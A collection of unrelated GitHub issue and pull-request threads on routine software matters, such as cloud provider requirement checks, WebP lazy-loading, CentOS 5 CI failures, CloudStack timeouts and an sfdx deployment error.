so @Tpuljak it means we have to implement for all other providers, if not i can't perform the call to the checkrequirement() properly  before daytona runs, now we have  only the requiremnent  for docker it wouldnt work, we have to implement for AWS, digital ocean and fly , because i tried it calling the checkrequirement() locally and i had nil pointer panic errors. It only worked when i hard-coded it in the first commits i pushed to the closed pr #1222 , and it doesn't follow our architectural procedure.

@Tpuljak its been removed

so @Tpuljak it means we have to implement for all other providers, if not i can't perform the call to the checkrequirement() properly before daytona runs, now we have only the requiremnent for docker it wouldnt work, we have to implement for AWS, digital ocean and fly , because i tried it calling the checkrequirement() locally and i had nil pointer panic errors. It only worked when i hard-coded it in the first commits i pushed to the closed pr https://github.com/daytonaio/daytona/pull/1222 , and that doesn't follow our architectural procedure.

Yes, you will have to implement the method in all other providers to satisfy the interface.

so @Tpuljak it means we have to implement for all other providers, if not i can't perform the call to the checkrequirement() properly before daytona runs, now we have only the requiremnent for docker it wouldnt work, we have to implement for AWS, digital ocean and fly , because i tried it calling the checkrequirement() locally and i had nil pointer panic errors. It only worked when i hard-coded it in the first commits i pushed to the closed pr #1222 , and that doesn't follow our architectural procedure.

Yes, you will have to implement the method in all other providers to satisfy the interface.

They have all been implemented and referenced here

So it should be performed in the registerProviders() directly

So it should be performed in the registerProviders() directly

Yes

@Tpuljak I have made changes

Alright thanks alot @Tpuljak for putting me through. I beginning to understand the architecture bit by bit

No problem. Glad to see that!

@Philip-21 can you please link all provider PRs in a single comment. Additionally, since we released the GCP and Hetzner providers in the meantime, they should also have a PR for this.

@Philip-21 can you please link all provider PRs in a single comment. Additionally, since we released the GCP and Hetzner providers in the meantime, they should also have a PR for this.

Alright I am on it . I would implement the new providers and link everything here

@Tpuljak these are the  Pr's for handling requirement checks for all Daytona providers
Docker
GCP
AWS
Azure
Digital Ocean
FLY
Hetzner

@Philip-21 please address these 2 comments before we give final approval.

Nice work! Apologies for the long wait for approval. We'll get this merged and released today. Thanks!

No problem, i have attended to the changes requested


[LLM] Add deepseekv2

PR types

New features
PR changes

Models
Description

Add deepseekv2.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you all sign our Contributor License Agreement before we can accept your contribution.1 out of 2 committers have signed the CLA.:white_check_mark: DrownFish19:x: MangodadadaYou have signed the CLA already but the status is still pending? Let us recheck it.


WebP backgrounds

Is there any possibility to create double "data-bg" attribute?
In my projects I first use the default version of my background-image and then the webp one, so the browsers that don't support webp aren't confused.
In css it looks like this:
background-image:url('background1.jpg'); background-image:url('background1.webp');

I very dislike using in markup background images. Question: Why do you use it at all. In case you want to use object-fit. There is a good full polyfill or a partial polyfill by lazySizes.
In any case you can simply do the following:
<style>
.special-bg.lazyloaded,
.special-bg.lazyloading {
    background-image:url('background1.jpg'); background-image:url('background1.webp');
}
</style>

<div class="special-bg lazyload">
</div>

Additionally you can simply create your own plugin. It's easy.

Well, for optimization purposes of course. Webp can greatly reduce size of the file. Some browsers, like Safari and IE don't support this tho. But modern ones, like Chrome or Firefox are used to see two background-images and then choose if they can handle a better webp version.
I'd just like it to be lazyloaded as well.
Eventually, I'll try to do this by my own.

Well, for optimization purposes of course. Webp can greatly reduce size of the file.

Yes of course for this you can use the picture element.

Again in most cases I very dislike using background images. If you are stuck with it you can use the following plugin: https://github.com/aFarkas/lazysizes/tree/gh-pages/plugins/bgset

I actually like to use backgrounds, especially with Bootstrap in the context of pure html sliders.
@aFarkas, I love and use your lazysizes for years, with absolute satisfaction in many client projects.
For anyone interested, I have solved the "problem" for my needs quite simply. Tests so far have shown no dropouts or the like. Google Pagespeed is also satisfied.
First I check with a tiny script (6ms load time) if the browser can deliver webp or not and set the appropriate class in the html tag. Then I manipulate aFarka's plugin for the data-bg attribute so that the class is queried in the html tag and if not webp capable the file extension is set by *.jpg.
For me this solution has the charm that I don't have to set another data-attribute, but only provide the file with the same name with *.webp and *.jpg on the server. I consider a fallback for the fallback unnecessary.
Feel free to adapt the code to your needs or even include it in the repositry.
// Check Browsercompatibility for webp by onload or onerror

var root = document.getElementsByTagName( 'html' )[0];
function hasWebP() {
    var rv = $.Deferred(), img = new Image();
    img.onload = function() { rv.resolve(); };
    img.onerror = function() { rv.reject(); };
    img.src = 'data:image/webp;base64,UklGRjoAAABXRUJQVlA4IC4AAACyAgCdASoCAAIALmk0mk0iIiIiIgBoSygABc6WWgAA/veff/0PP8bA//LwYAAA';
    return rv.promise();
}

// Set Class for webp-detection to html
hasWebP().then(function() {
    root.className += 'webp'
}, function() {
    root.className += 'no-webp'
});

// Edited layzbeforeunveil data-bg support to check webp support and switch between image extension to fallback no webp support

document.addEventListener('lazybeforeunveil', function(e){
    var bg = e.target.getAttribute('data-bg');
    if(bg && root.classList.contains('webp')){
        e.target.style.backgroundImage = 'url(' + bg + ')';
    }
    else if(bg && root.classList.contains('no-webp')){
        var fallbackbg = bg.replace(/\b(webp)\b/g, "jpg");
        e.target.style.backgroundImage = 'url(' + fallbackbg + ')';
    }
});


Reset button should be disabled when no value is set

@fcoutellier
fixed with PR https://github.com/LucasBrazi06/ev-dashboard/pull/1691


Layout issues when re-initializing in Internet Explorer 9/10

Hello, I am using salvattore to create a 3 column grid, I also have filters to show and hide elements within the grid and I am re-initializing the grid after filtering so that the columns remain equal. Currently I am doing this by firing off salvattore.rescanMediaQueries(); after a filter has been clicked. This seems to be working fine in most browsers, but in IE9 and 10(IE11 and Edge work as expected) all of the elements end up being appended to the first column and the other 2 columns are just empty.
I have also tried the recreateColumns function by adding this to the end of the filter click function:
var grid = document.querySelector('#columns');
salvattore.recreateColumns(grid);

But that had the same result as using rescanMediaQueries. Any ideas on how to resolve this?

I also just noticed that it happens on resize as well. I have it set up so that the grid is 1 column for mobile and 3 columns for desktop and if I resize my window to the mobile breakpoint and then go back to the desktop breakpoint all of the elements remain in the first column.

Realized this issue is specific to an unofficial branch which balances the columns


Update setup instructions

Related Issue

Fixes #
Checklist:

[x] I have read the contributor's guide.
[ ] I linked an issue in the previous section
[ ] I was assigned the linked issue or commented on it to be assigned (not required)
[x] I have tested the change to the best of my ability against the sandbox or a local build.
[x] I ran script/test_images_links.sh from the top-level directory (where the README file lives) and the output is:

- ./_site/android/2020/06/11/Build-Android.html
  *  External link https://developer.android.com/studio/run failed: 302 Number of redirects hit maximum amount
htmlproofer 3.16.0 | Error:  HTML-Proofer found 1 failure!

Optional: Add any explanations here

Optional: Add any relevant screenshots here

Thanks @sebawita!

Thanks @sebawita!


Failed compiling shader

When I finished installation and I start the training, compiling shader error was occured.
error message:
[    B6A99740]  Shader.cxx:497    ERR| Error: compiling shader
0:557(2): error: return' with wrong type int, in function find_blocker_distance' returning float
I tested in WSL2, and there were no errors during the make.
How can I solve this problem..?

Hi @jgnooo,
Indeed there was an issue with one of the return values from a shader function. Weirdly enough, this never caused an error on my system as it seems this function was optimized out during shader compilation, so maybe this only happens with WSL?
I pushed a changed that should fix it. Can you please pull easy_pbr and try again?

Hi,
I'm sorry for late reply..
I tested the project in WSL, and the error I said has been solved!
However, the viewer is not worked..
So, I try to install / build in Ubuntu, It work !!
Thank you!!!


VnV Plan Review: Revision History

Your revision history should be more detailed (ideally it should group your git commits into meaningful "chunks"). (Also it looks like you left in the default second row!)
 Summarize it!

Yeah agreed... I think a lot of it was half written sentences and paragraphs in different sections, so I didn't have any clear. I just have the constant fear that I need to save and commit constantly... 😅
I spent around 11hrs straight on this Friday and brain was fried... :b
I did the same with the SRS, where I only update the changelog once I implemented changes from reviewers...
I shall try to be more descriptive from now on.


[WIP] Support CentOS5

Add CentOS 5.11 to Travis CI.
https://github.com/junaruga/rpm-py-installer/issues/168

I found a good article to run yum -y update on CentOS5.
https://unix.stackexchange.com/questions/359902/yum-update-error-on-centos-5-6

Maybe error by old version of curl and openssl on CentOS5?
curl -O https://www.python.org/ftp/python/2.7.14/Python-2.7.14.tgz
curl: (35) error:1407742E:SSL routines:SSL23_GET_SERVER_HELLO:tlsv1 alert protocol version

# python2.7 -m pip install --upgrade -rtox-requirements.txt
Could not fetch URL https://pypi.python.org/simple/virtualenv/: There was a problem confirming the ssl certificate: [SSL: TLSV1_ALERT_PROTOCOL_VERSION] tlsv1 alert protocol version (_ssl.c:661) - skipping

https://bugzilla.redhat.com/show_bug.cgi?id=1175904
http://fusic-kiban.hatenablog.com/entry/2016/10/03/085827

https://travis-ci.org/junaruga/rpm-py-installer/jobs/483110826
Step 4/11 : RUN yum -y update
 ---> Running in 3c62217d6dbc
Loaded plugins: fastestmirror
Determining fastest mirrors
Error: Cannot find a valid baseurl for repo: base
YumRepo Error: All mirror URLs are not using ftp, http[s] or file.
 Eg. Invalid release/repo/arch combination/
removing mirrorlist with no valid mirrors: /var/cache/yum/base/mirrorlist.txt
The command '/bin/sh -c yum -y update' returned a non-zero code: 1

How can we fix this?

I don't think you can, per https://wiki.centos.org/FAQ/General#head-fe8a0be91ee3e7dea812e8694491e1dde5b75e6d CentOS 5 reached end of life over 2 years ago and the repositories have been probably turned off.

@dcermak thanks for your comment!
On the latest status of this PR at 6th April 2019, this is the Travis log. https://travis-ci.org/junaruga/rpm-py-installer/jobs/516287266
The process travis_retry make build SERVICE=${SERVICE} to build CentOS5 container was passed. But the processmake test SERVICE=${SERVICE} to run a container with testing command was failed.
The reason why CentOS5 RPM package repository still works is I used an alternative repository "vault.centos.org" by patching the repo file by  .travis/CentOS-Base.repo.centos5, seeing the an article https://unix.stackexchange.com/questions/359902/yum-update-error-on-centos-5-6

https://developers.redhat.com/blog/2019/09/27/python-wheels-ai-ml-and-abi-compatibility/

centos5 Image - quay.io/pypa/manylinux1_x86_64

I found an article about CentOS 5.
This image might provide python and pip command on CentOS5.


Drop yum requirements

As yum_requirements.txt is no longer needed here, drop it and re-render to update the CIs accordingly. Pulled from PR ( https://github.com/conda-forge/openspecfun-feedstock/pull/2 ).

Checklist

[ ] Used a fork of the feedstock to propose changes
[ ] Bumped the build number (if the version is unchanged)
[ ] Reset the build number to 0 (if the version changed)
[ ] Re-rendered with the latest conda-smithy
[ ] Ensured the license file is being packaged.

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.


UnicodeDecodeError with pip install maya on Windows 10

Hi, raising this issue for awareness. Pip install on W10 raises an UnicodeDecodeError.
This seems to be a more general problem with pip on W10, but maya is hit.
pip install maya
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe9 in position 185: invalid continuation byte
pip 19.1.1 / python 3.7
Ofcourse running the same on Linux works fine 😁

Workaround:
    def get_metadata(self, name):
        if not self.egg_info:
            return ""
        value = self._get(self._fn(self.egg_info, name))
        return value.decode('mbcs') if six.PY3 else value # utf_8

pip/pip/_internal/init.py

As you already figured, that's not maya related. I'm going to close this. :tada:


265a pattern serverless test workshop merge

Issue #, if available:
265
Description of changes:

This MR creates a top-level "workshop" directory, and includes the code for the Serverless Test Workshop.
The code is a companion to the serverless test workshop lab in workshop studio, and is not intended as stand-alone.  As such, the link to the workshop is provided.  (This link will need to be updated when the public lab URL is generated.)

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

Thank you Tim!  I've updated the readme per your comment - thank you for the edits!
We have decided to leave the project nested in the workshops/ folder with the directory name matching the workshop title, as there are other workshops that may be added to repository.

Thank you Dan, I like your plan and it solves the "chicken of the egg" problem of finishing the self-hosted workshop and having the code in the main branch.  I pushed an update to the MR that removes the workshop link from main README file.


Add travis script to prepare production deployment

no description provided. Can you guys explain a bit what's happening here?

lol @fleupold its the deployment to https://docs.gnosis.io/dfusion/


Add new streamlit test file in ask Yogasutra with view graph and edit graph functionality

Added New streamlit_test2.py file to the Ask Yogasutra folder.
This Streamlit file has the following functionalities :

View the graph.json data as a graph (Using agraph), nodes connected to the next node based on the JSON file
Each node is color-coded according to the pada number
On node click, verse details and connected verses are displayed
Users have the option to edit and save the node. The edited details are saved back to the JSON file

Hi @Prashanthsrn while running this file, I am getting following error
2024-10-09 12:15:05.985 Uncaught app exception
Traceback (most recent call last):
  File "C:\Users\yoges\anaconda3\envs\genai\lib\site-packages\streamlit\components\v1\custom_component.py", line 104, in create_instance
    import pyarrow  # noqa: F401
  File "C:\Users\yoges\anaconda3\envs\genai\lib\site-packages\pyarrow\__init__.py", line 65, in <module>
    import pyarrow.lib as _lib
ImportError: DLL load failed while importing lib: The specified procedure could not be found.

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "C:\Users\yoges\anaconda3\envs\genai\lib\site-packages\streamlit\runtime\scriptrunner\exec_code.py", line 88, in exec_func_with_error_handling
    result = func()
  File "C:\Users\yoges\anaconda3\envs\genai\lib\site-packages\streamlit\runtime\scriptrunner\script_runner.py", line 590, in code_to_exec
    exec(code, module.__dict__)
  File "D:\Yogesh\GitHub\Sarvadnya\src\ask_yogasutra\streamlit_test2.py", line 154, in <module>
    main()
  File "D:\Yogesh\GitHub\Sarvadnya\src\ask_yogasutra\streamlit_test2.py", line 138, in main
    selected_node = agraph(nodes=nodes, edges=edges, config=config)
  File "C:\Users\yoges\anaconda3\envs\genai\lib\site-packages\streamlit_agraph\__init__.py", line 38, in agraph
    component_value = _agraph(data=data_json, config=config_json)
  File "C:\Users\yoges\anaconda3\envs\genai\lib\site-packages\streamlit\components\v1\custom_component.py", line 58, in __call__
    return self.create_instance(
  File "C:\Users\yoges\anaconda3\envs\genai\lib\site-packages\streamlit\runtime\metrics_util.py", line 410, in wrapped_func
    result = non_optional_func(*args, **kwargs)
  File "C:\Users\yoges\anaconda3\envs\genai\lib\site-packages\streamlit\components\v1\custom_component.py", line 108, in create_instance
    raise StreamlitAPIException(
streamlit.errors.StreamlitAPIException: To use Custom Components in Streamlit, you need to install
PyArrow. To do so locally:

`pip install pyarrow`

And if you're using Streamlit Cloud, add "pyarrow" to your requirements.txt.

I am getting the same with my trial of agraph also, so no issues with your code as such. I do have pyarrow installed. Mostly my env issue. Is the file running ok at your end?

I uninstalled the existing with pip uninstall streamlit, then reinstalled it with conda install -c conda-forge streamlit, this seems to work


Choose which run to use as median

Choose which run to use as median, making it possible to actually choose the fastest of the runs to make test less independent of time spent in backend as explained by Pat http://calendar.perfplanet.com/2015/working-on-chrome-performance-with-webpagetest/

Lets close this and re-open when I fixed the tests.

Thanks @soulgalore. The tests are a bit tricky. Since you've added a new option, the command line tests probably fail as it compares the --help output. If you update the some .txt file under test/fixtures/command-line should fix it.


Added support for TimeHeadwayCondition + alongRoute argument support

Description
Added support for OSC's TimeHeadwayCondition, which uses InTimeToArrivalToVehicle. freespace argument (used to check the bounding box, not only the reference points) is still unsupported
Changes to the behavior:

Swapped the places of actor and other_actor arguments, to match the other behaviors (changed all references to this behavior)
Added along_route, used to calculate the distance along the driving lanes, instead of in a straight line.

Additionally, added support for alongRoute attribute for TimeToCollisionCondition, which uses both InTimeToArrivalToVehicle and InTimeToArrivalToOSCPosition
Where has this been tested?

Platform(s): Ubuntu 18.04
Python version(s): 3.6
Unreal Engine version(s): 4.24
CARLA version: <IP_ADDRESS>

This change is

All changes are done. Ready to review


to consider

richox/zmolly

https://github.com/fusiyuan2010/CSC - compares to lzma (lzma25 < lzma20 < csc)
https://code.google.com/p/data-shrinker - compares to lz4 (lz4hc < lz4 < shrinker)

lz4hc < lz4 < shrinker

JFYI: According to my measurement with PCAP traces, shrinker trades slightly lower throughput for a small in improvement in compression ratio compared to LZ4. For ASCII data, I observe the opposite.

Yep it is somewhat in the middle of both LZ4s. Anyways, for only 200 lines of very portable code it's a pretty beast :)

http://www.byronknoll.com/cmix.html
zpaq style, improved ratios, too memory hungry (32 GiB)
tried to reduce memory requeriments and didnt work

zpaq style, improved ratios, too much memory hungry (>32 GiB)

Woah, what's the input size you're trying to compress? Are you sure there's not a leak somewhere? Such draconian memory requirements seem a bit off.

enwik8, the 100 MiB canonical file used widely for compression tests and benchmarks :)

No disrespect, but it strikes me as highly unpractical to keep in-memory state that's bigger than the input by over a factor of 300. Who can afford to use such a library?! Smells like a buggy or flawed implementation.

Well, this is the hardcore side of compression. Done for fun or for research purposes.
And totally prohibitive for regular users.
There are even compression contests like this: https://en.wikipedia.org/wiki/Hutter_Prize
I was curious to see what I could achieve by reducing the memory requeriments by 100 (and see what the new (bigger) compression ratio I could get of it).
It didnt work in the end :/, so I have spent the day with other encodings :)

Ok, an academic exercise is always legit. :smile:


Eliah Kagan: Watch softkeybox.com

Eliah Kagan requests the watch of the watch_keyword softkeybox\.com. See the MS search here and the Stack Exchange search here.

softkeybox\.com has been seen in 1 true positive, 0 false positives, and 0 NAAs.

Approved by double-beep in Charcoal HQ


How to use python in service area without Arcgis?

Now I search a lot but still can not find a python-package in it.
There is the work I finished.
1.search "PYTHON service area"
2.read some package like shapely,pysal and more. But can find one.

A lot of python services you can use flask, django....
It's not design for GIS but you can use gis package with it.
BTW, it's not related with this Repo, you can ask on Reddit or Stackoverflow.


Bugfix/update top storiesv2 spec

Summary
Fixed some issue that I found during development.
Changelog

[FIXED] API specification for Article schema. Based on current response, org_facet is array of strings.
[UPDATE] Fixed example JSON response for top stories v2. Both per_facet and geo_facet is now array of strings.

Notes
After this is approved and merged, you might have to updated the source that is pointed from https://developer.nytimes.com/top_stories_v2.json - because currently it points to https://developer.nytimes.com/top_stories_v2.json/swagger.json

Thanks 👍


lock computer and put display to sleep

Description of the new feature / enhancement
It would be great to implement an action that locks the ui (ie: WIN-L) and also puts the display to sleep immediately.
I use a similar shortcut on my mac. it's really useful for when you are working someplace and want to make your computer secure and boring looking.
Scenario when this would be used?
when stepping away from a system while working in public.
Supporting information
No response

I like the idea, I would even add a system to shut down / suspend the computer at a certain time or when a specific process is closed

I did a little more research, and discovered the lock-screen-timeout reg hack mentioned here:
https://www.howtogeek.com/267893/how-to-change-the-windows-10-lock-screen-timeout/
It might be smarter to wrap control of this in PowerToys somehow (ie: add a field to PowerToys that let's you edit this value directly (including setting it to zero).


CLOUDSTACK-9503: Increased the VR script timeout. Most of the changes…

… are about converting int/long time values to Duration.

@blueorangutan package

@rhtyd a Jenkins job has been kicked to build packages. I'll keep you posted as I make progress.

Packaging result: ✖centos6 ✖centos7 ✖debian. JID-8

@abhinandanprateek please fix noredist/vmware issue:
[ERROR] Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.2:compile (default-compile) on project cloud-plugin-hypervisor-vmware: Compilation failure: Compilation failure:
[ERROR] /jenkins/workspace/acs-pr-centos6-pkg-builder/dist/rpmbuild/BUILD/cloudstack-<IP_ADDRESS>-SNAPSHOT/plugins/hypervisors/vmware/src/com/cloud/hypervisor/vmware/resource/VmwareResource.java:[1269,15] error: no suitable method found for executeInVR(String,String,String,int)
[ERROR] method VmwareResource.executeInVR(String,String,String,Duration) is not applicable
[ERROR] (actual argument int cannot be converted to Duration by method invocation conversion)
[ERROR] method VmwareResource.executeInVR(String,String,String) is not applicable
[ERROR] (actual and formal argument lists differ in length)
[ERROR] /jenkins/workspace/acs-pr-centos6-pkg-builder/dist/rpmbuild/BUILD/cloudstack-<IP_ADDRESS>-SNAPSHOT/plugins/hypervisors/vmware/src/com/cloud/hypervisor/vmware/resource/VmwareResource.java:[1284,41] error: cannot find symbol
[ERROR] -> [Help 1]
[ERROR]
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR]
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoFailureException
[ERROR]
[ERROR] After correcting the problems, you can resume the build with the command
[ERROR]   mvn  -rf :cloud-plugin-hypervisor-vmware

@rhtyd fixed it, not sure why that was not caught by jenkins build.

@abhinandanprateek jenkins does not do noredist builds

Packaging result: ✖centos6 ✖centos7 ✖debian. JID-12

@abhinandanprateek error:
[INFO] Compiling 51 source files to /jenkins/workspace/acs-pr-centos6-pkg-builder/dist/rpmbuild/BUILD/cloudstack-<IP_ADDRESS>-SNAPSHOT/plugins/hypervisors/vmware/target/classes
[INFO] -------------------------------------------------------------
[ERROR] COMPILATION ERROR :
[INFO] -------------------------------------------------------------
[ERROR] /jenkins/workspace/acs-pr-centos6-pkg-builder/dist/rpmbuild/BUILD/cloudstack-<IP_ADDRESS>-SNAPSHOT/plugins/hypervisors/vmware/src/com/cloud/hypervisor/vmware/resource/VmwareResource.java:[1284,41] error: cannot find symbol

@rhtyd thanks for sharing nordist repo. I have sanitized the vmware plugin too.

@jburwell updated Script to use Duration as timeout.

@abhinandanprateek could you please create a ticket to refactor Script to use Duration internally?  Also, are there any component tests that need to be run in addition to smoke tests to verify this bug fix?

@abhinandanprateek how difficult would it be to change the base branch of this PR to 4.8?

@jburwell  ticket filed to refactor Script and SshHelper to use Duration. https://issues.apache.org/jira/browse/CLOUDSTACK-9508

@karuturi Jenkins fail on find-bug: [ERROR] Failed to execute goal org.codehaus.mojo:findbugs-maven-plugin:3.0.3:findbugs (findbugs) on project cloud-plugin-network-bigswitch: Execution findbugs of goal org.codehaus.mojo:findbugs-maven-plugin:3.0.3:findbugs failed: Java returned: 143
I did not make any changes there, do you know if it is failing elsewhere too ? Or it is just some spurious failure.

I think the build timed out.

[INFO] --- findbugs-maven-plugin:3.0.3:findbugs (findbugs) @ cloud-plugin-network-bigswitch ---
[INFO] Fork Value is true
Build timed out (after 96 minutes). Marking the build as aborted.
Build was aborted

@abhinandanprateek it appears that there is a Findbugs issue that needs to be addressed.

@jburwell there was some issue with jenkins, force pushing PR resolved it.

@blueorangutan package

@rhtyd a Jenkins job has been kicked to build packages. I'll keep you posted as I make progress.

Packaging result: ✔centos6 ✔centos7 ✔debian. JID-84

@blueorangutan test centos6 kvm

@jburwell a Trillian-Jenkins test job (centos6 mgmt + kvm) has been kicked to run smoke tests

@abhinandanprateek this fix seems like a good fix for 4.8 users as well which I would like to get included in <IP_ADDRESS>, as well as, <IP_ADDRESS> and <IP_ADDRESS>.  Could rebase this PR and change the base branch to 4.8?

@jburwell Created a new PR for 4.8 https://github.com/apache/cloudstack/pull/1745, closing this one.


multiple origins

Feature request
Using CORS_ALLOW_ORIGIN I was able to set single origin to avoid CORS issues.
CORS_ALLOW_ORIGIN=<IP_ADDRESS>:1234
How do I set it up for multiple origins?
Motivation
I want to use TGI to from multiple origins.
I could set up proxy between TGI and my TGI clients, but that looks like a hacky solution. It gets even hackier when you need to use streaming (which I need to do).
Your contribution
Maybe we could pass list of origins separated by comma
CORS_ALLOW_ORIGIN=origin1,origin2
CORS_ALLOW_ORIGIN=<IP_ADDRESS>:1234,<IP_ADDRESS>:1243

Up to avoid stale.

Up to avoid stale.

According to this: https://github.com/docker/compose/issues/4249 docker compose is scheduled to support array of strings in the future. But for now the only way to achieve passing multiple origins is if TGI would split passed variable and convert value to array. You can see when container is starting:
cors_allow_origin: [
        "<IP_ADDRESS>:1234",
]

Value passed by docker is internally already an array. So either it is already possible and not documented or require minimal change.


Fix bug in which no .bin files are created when doing a dx12 dump resources

Files would not be created when the full path was specified for the capture file on the command line.

CI gfxreconstruct build queued with queue ID 206796.

Abandoning this PR. It has two commits, one of them is a duplicate of a previous commit.


adjusted prevalence calculations don't match the claimed formula

Describe the bug
The src/posts/paper/7-basic-method.ts paper says that the formula for adjusting the prevalence ratio is prevalance_ratio = 1250 / (day_i + 25) * positive_test_rate ** 0.5 + 2 and points to https://covid19-projections.com/estimating-true-infections-revisited/ for justification.
The calculations in src/data/calculate.ts and /update_prevalence.py instead use (1000 / (day_i + 10)) * (positivityRate / 100) ** 0.5 + 2.
Neither of these matches the current formula at https://covid19-projections.com/estimating-true-infections-revisited/, which is prevalance_ratio = 1500 / (day_i + 50) * positive_test_rate ** 0.5 + 2
It's also unclear to me that the same prevalence ratio formula should be used for US and for countries with widespread asymptomatic lateral flow testing, but that's a separate question (and I don't have a recommendation for a replacement).

I've also noticed for several states I've checked, that it's calculating vaccination percentages for a given area as the percentage of eligible population vaccinated as opposed to the percentage of the entire population vaccinated. Since kids under 12 can't be vaccinated yet, that makes the percentage of vaccinated people significantly lower in the general population than just calculating the percentage of people old enough to qualify that are vaccinated.


GH-2561 fix ordering of two tuples that have different lengths

GitHub issue resolved: #2561
Briefly describe the changes proposed in this PR:

Short tuples are smaller than longer tuples if otherwise equal.

PR Author Checklist (see the contributor guidelines for more details):

[ ] my pull request is self-contained
[ ] I've added tests for the changes I made
[ ] I've applied code formatting (you can use mvn process-resources to format from the command line)
[ ] every commit message starts with the issue number (GH-xxxx) followed by a meaningful description of the change
[ ] every commit has been signed off

Note: we merge all feature pull requests using squash and merge. See RDF4J git merge strategy for more details.

@knoan


Tensorflow 2.0 Support

I followed the installation process until the following command :
tabulo checkpoint list
I get the following error after executing the command:
Error:
AttributeError: module 'tensorflow' has no attribute 'contrib'
I am guessing its because I am using Tensorflow 2.0 and models dont support it.  Is there a quick work around to this ?

currently, we don't support.
pull request will be appreciated.

Try to install  pip install tensorflow==1.14 or pip install tensorflow-gpu==1.14` like this source

Try to install pip install tensorflow==1.14 or pip install tensorflow-gpu==1.14 like this source

it doesn't help!


Repo README page is empty.

Brevity might be a virtue, but this README page can really use some text.

close issue


Deploy error: Converting circular structure to JSON

Summary
An error started appearing in SFDX deployments, it doesn't block the deployment but triggers an error in our CI.
Steps To Reproduce:
sfdx force:mdapi:deploy --loglevel debug --verbose --targetusername PROD --deploydir artifacts/${PACKAGE_NAME} --testlevel RunLocalTests --wait ${SFDX_TIMEOUT} --soapdeploy
Expected result
Success / no errors
Actual result
ERROR running force:mdapi:deploy:  Converting circular structure to JSON
    --> starting at object with constructor 'Connection'
    |     property 'analytics' -> object with constructor 'Analytics'
    --- property '_conn' closes the circle```

I've also the same issue. Working fine with the previous version (salesforce/salesforcedx:7.149.1-full).

@iditente @D-Roch if you've got a repo that you can share that reproduces this error, that would help a lot.
other question: if you look in the org, is the deployment failing or succeeding?
@D-Roch can you provide the output of sfdx version --verbose so we can check the plugins?

I've run the bitbucket pipeline with salesforce/salesforcedx:latest-full image and without our custom sfdx plugins with just the profiles in the package. See the result below :
-> Cleaning profile
›   Warning: sico:clean:profile is not a sfdx command.
-> Cleaning packageVersions
Did you mean autocomplete:create? [y/n]:  ›   Warning: sico:clean:packageVersions is not a sfdx command.
-> Converting ApexTestSuite Metadata, tests class to run are :
Did you mean force:package:version:list? [y/n]:  ›   Warning: sico:apextestsuite:convert is not a sfdx command.
-> Aunthenticating to the Org
Did you mean force:source:convert? [y/n]: You acknowledge and agree that the CLI tool may collect usage information, user environment, and crash reports for the purposes of providing services or functions that are relevant to use of the CLI tool and product improvements.
Successfully authorized<EMAIL_ADDRESS>with org ID 00D4E0000008nfQUAQ
-> Converting Source format to Metadata API format
Source was successfully converted to Metadata API format and written to the location: /opt/atlassian/pipelines/agent/build/deploystage
-> Copying Destructive Changes Xml files in deploystage directory
-> Validate with specified tests
ERROR running force:mdapi:deploy:  Converting circular structure to JSON
--> starting at object with constructor 'Connection'
|     property 'analytics' -> object with constructor 'Analytics'
--- property '_conn' closes the circle
ERROR running force:mdapi:deploy:report:  The provided ID is invalid, deploy IDs must start with '0Af'.

Same test with the salesforce/salesforcedx:7.149.1-full image :
-> Cleaning profile
›   Warning: sico:clean:profile is not a sfdx command.
-> Cleaning packageVersions
Did you mean autocomplete:create? [y/n]:  ›   Warning: sfdx-cli update available from 7.149.1 to 7.150.0.
›   Warning: sico:clean:packageVersions is not a sfdx command.
-> Converting ApexTestSuite Metadata, tests class to run are :
Did you mean force:package:version:list? [y/n]:  ›   Warning: sfdx-cli update available from 7.149.1 to 7.150.0.
›   Warning: sico:apextestsuite:convert is not a sfdx command.
-> Aunthenticating to the Org
Did you mean force:source:convert? [y/n]:  ›   Warning: sfdx-cli update available from 7.149.1 to 7.150.0.
You acknowledge and agree that the CLI tool may collect usage information, user environment, and crash reports for the purposes of providing services or functions that are relevant to use of the CLI tool and product improvements.
Successfully authorized<EMAIL_ADDRESS>with org ID 00D4E0000008nfQUAQ
-> Converting Source format to Metadata API format
›   Warning: sfdx-cli update available from 7.149.1 to 7.150.0.
Source was successfully converted to Metadata API format and written to the location: /opt/atlassian/pipelines/agent/build/deploystage
-> Copying Destructive Changes Xml files in deploystage directory
-> Validate with specified tests
›   Warning: sfdx-cli update available from 7.149.1 to 7.150.0.
MDAPI PROGRESS | ████████████████████████████████████████ | 0/0 Components
MDAPI PROGRESS | ████████████████████████████████████████ | 0/0 Components
MDAPI PROGRESS | ████████████████████████████████████████ | 0/0 Components
MDAPI PROGRESS | ████████████████████████████████████████ | 0/0 Components
MDAPI PROGRESS | ██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ | 1/20 Components
MDAPI PROGRESS | ██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ | 1/20 Components
MDAPI PROGRESS | ██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ | 1/20 Components
MDAPI PROGRESS | ██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ | 1/20 Components
MDAPI PROGRESS | ████████████████████████████████████████ | 20/20 Components
MDAPI PROGRESS | ████████████████████████████████████████ | 20/20 Components
MDAPI PROGRESS | ████████████████████████████████████████ | 20/20 Components
MDAPI PROGRESS | ████████████████████████████████████████ | 20/20 Components
MDAPI PROGRESS | ████████████████████████████████████████ | 20/20 Components
MDAPI PROGRESS | ████████████████████████████████████████ | 20/20 Components

I was able to reproduce this also. Running the a basic mdapi deploy with either DEBUG=* or --loglevel debug

@D-Roch We will look into getting this sorted. In the meantime you should be able to run this command successfully by removing the --loglevel debug (or DEBUG=*) from the command.

Thank you, salesforce/salesforcedx:7.149.1-full fixed it for now on our side

The sfdx version with this fix has been promoted to latest (7.151.1). Thanks for your patience while we got this fixed!


